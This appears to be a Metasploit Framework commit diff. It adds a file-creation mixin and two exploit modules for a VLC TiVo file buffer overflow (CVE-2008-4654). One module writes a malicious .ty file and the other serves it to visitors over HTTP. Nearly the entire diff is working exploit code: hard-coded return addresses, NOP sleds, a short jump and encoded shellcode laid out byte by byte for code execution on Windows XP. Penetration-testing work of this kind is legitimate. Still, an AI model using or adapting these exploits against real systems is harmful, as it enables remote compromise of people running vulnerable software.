added fileformat mixin, fileformat exploit videolan_tivo.rb, and network based exploit videolan_tivo.rb

git-svn-id: file:///home/svn/framework3/trunk@5993 4d416f70-5f16-0410-b530-b9f4589650da

lib/msf/core/exploit.rb

@@ -242,6 +242,9 @@ class Exploit < Msf::Module
 	# Networks
 	require 'msf/core/exploit/lorcon'
 	require 'msf/core/exploit/capture'
+
+	# FileFormat
+	require 'msf/core/exploit/fileformat'
 	
 	#
 	# Returns an array of all of the exploit mixins.  Lame algorithm right now.

lib/msf/core/exploit/fileformat.rb

@@ -0,0 +1,31 @@
+###
+#
+# This module exposes a simple method to create a file.
+#
+###
+
+module Msf
+
+module Exploit::FILEFORMAT 
+	
+	def initialize(info = {})
+		super
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ false, 'The file name.',  'MSF']),
+				OptString.new('OUTPUTPATH', [ false, 'The location of the file.',  './data/exploits/']),
+			], Msf::Exploit::FILEFORMAT
+		)
+
+		def file_create(data)
+				fd = File.new("#{datastore['OUTPUTPATH']}/#{datastore['FILENAME']}","wb")
+					fd.puts data
+				fd.close
+				print_status("File '#{datastore['FILENAME']}' is located in '#{datastore['OUTPUTPATH']}' ...")
+		end
+		
+	end
+
+end
+end

modules/exploits/windows/fileformat/videolan_tivo.rb

@@ -0,0 +1,87 @@
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::FILEFORMAT
+        
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'VideoLAN VLC TiVo Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
+					By creating a malicious TY file, a remote attacker could overflow a
+					buffer and execute arbitrary code.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         => 'MC',
+			'Version'        => '$Revision:$',
+			'References'     =>
+				[
+					[ 'CVE', '2008-4654' ],
+					[ 'BID', '31813' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},					
+			'Payload'        =>
+				{
+					'Space'    => 550,
+					'BadChars' => "\x00",
+					'StackAdjustment' => -3500,
+				},
+			'Platform' => 'win',
+			'Targets'        => 
+				[
+					[ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ],
+					[ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ],  
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Oct 22 2008',
+			'DefaultTarget'  => 0))
+
+			register_options(
+				[
+					OptString.new('FILENAME', [ false, 'The file name.',  'msf.ty']),
+					OptString.new('OUTPUTPATH', [ false, 'The location of the file.',  './data/exploits/']),
+				], self.class)
+
+	end
+
+	def exploit
+
+		ty =  "\xF5\x46\x7A\xBD"      
+		ty << "\x00\x00\x00\x02"
+		ty << "\x00\x02\x00\x00"        
+		ty << "\x00" * 8
+		ty << "\x00\x00\x05\x41"     
+		ty << "\x00" * 4          
+		ty << "\x00\x00\x05\x49"     
+		ty << "\x00" * 60   
+		ty << [target.ret].pack('V') + payload.encoded + make_nops(12)
+		ty << "\x00" * (130980 - 4 - payload.encoded.length - 12)                  
+		ty << "\x05"                
+		ty << "\x00" * 3                
+		ty << "\x05"                 
+		ty << "\x00" * 1                
+		ty << "\x09"                 
+		ty << "\xc0"                
+		ty << "\x00" * 14
+		ty << "\x06"                
+		ty << "\xe0"                 
+		ty << "\x00" * 302004
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")
+
+		file_create(ty)
+
+	end
+
+end

modules/exploits/windows/misc/videolan_tivo.rb

@@ -0,0 +1,91 @@
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'VideoLAN VLC TiVo Buffer Overflow',
+			'Description'    => %q{
+                                        This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
+                                        By creating a malicious TY file, a remote attacker could overflow a
+                                        buffer and execute arbitrary code.
+			},
+			'License'        => 'MSF_LICENSE',
+			'Author'         => [ 'MC' ],
+			'Version'        => '$Revision: $',
+			'References'     => 
+				[
+					[ 'CVE', '2008-4654' ],
+					[ 'BID', '31813' ],
+				],
+			'Payload'        =>
+				{
+					'Space'           => 550,
+					'BadChars'	  => "\x00",
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
+					[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'Oct 22 2008',
+			'DefaultTarget'  => 0))
+
+	end
+
+	def autofilter
+		false
+	end
+
+	def check_dependencies
+		use_zlib
+	end
+
+	def on_request_uri(cli, request)
+		
+		return if ((p = regenerate_payload(cli)) == nil)
+
+                ty =  "\xF5\x46\x7A\xBD"
+                ty << "\x00\x00\x00\x02"
+                ty << "\x00\x02\x00\x00"
+                ty << "\x00\x00\x00\x00"
+		ty << "\x00\x00\x00\x00"
+                ty << "\x00\x00\x05\x41"
+                ty << "\x00\x00\x00\x00"
+                ty << "\x00\x00\x05\x49"
+                ty << "\x00" * 60
+		ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
+		ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
+		ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
+                ty << "\x05"
+                ty << "\x00\x00\x00"
+                ty << "\x05"
+                ty << "\x00"
+                ty << "\x09"
+                ty << "\xc0"
+                ty << "\x00" * 14
+                ty << "\x06"
+                ty << "\xe0"
+                ty << "\x00" * 302004
+
+		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
+
+		send_response_html(cli, ty, { 'Content-Type' => 'application/octet-stream' })
+	
+		handler(cli)
+
+	end
+
+end